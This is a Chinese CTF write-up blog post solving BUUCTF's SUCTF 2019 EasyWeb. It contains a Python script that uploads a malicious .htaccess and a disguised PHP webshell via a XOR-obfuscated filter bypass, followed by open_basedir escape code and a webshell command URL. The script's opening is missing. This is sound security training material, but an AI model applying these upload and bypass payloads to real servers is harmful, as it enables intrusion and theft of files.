您当前的位置: 首页 > 

Snakin_ya

暂无认证

  • 3浏览

    0关注

    107博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

[BUUCTF][SUCTF 2019]EasyWeb

Snakin_ya 发布时间:2021-10-31 01:14:55 ,浏览量:3

[SUCTF 2019]EasyWeb
 ")  #GIF89后的11是为了满足base64编码
url = "http://4f9a3024-f86c-4660-b784-2484a174f2e8.node4.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.sss',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)

在上传之后就可以通过蚁剑连接,但我们发现不能访问其他目录。查看phpinfo之后发现有open_basedir

image-20211031005004125

方法一:

利用蚁剑插件,选择PHP7 GC with Certain Destructors UAF

image-20211031005715719

然后在根目录发现flag

方法二:

  • 首先构造一个相对可以上跳的open_basedir 入mkdir('lin'); chdir('lin') ,当然我们这里有上跳的路径我们直接 chdir("img")
  • 然后每次操作chdir("..")都会进一次open_basedir的比对由于相对路径的问题,每次open_basedir的补全都会上跳。
  • 比如初试open_basedir为/a/b/c/d:
  • 第一次chdir后变为/a/b/c,第二次chdir后变为/a/b,第三次chdir后变为/a 第四次chdir后变为/
  • 那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。
mkdir('lin');
chdir('lin');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

最终

http://4f9a3024-f86c-4660-b784-2484a174f2e8.node4.buuoj.cn:81/upload/tmp_748d23022d8d3f4b52ee6d0cf1b1d0df/shell.sss?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

参考文章:

https://xz.aliyun.com/t/4720

从PHP底层看open_basedir bypass

https://blog.csdn.net/rfrder/article/details/111207725

https://blog.csdn.net/weixin_45646006/article/details/120245422

关注
打赏
1650510800
查看更多评论
立即登录/注册

微信扫码登录

0.0427s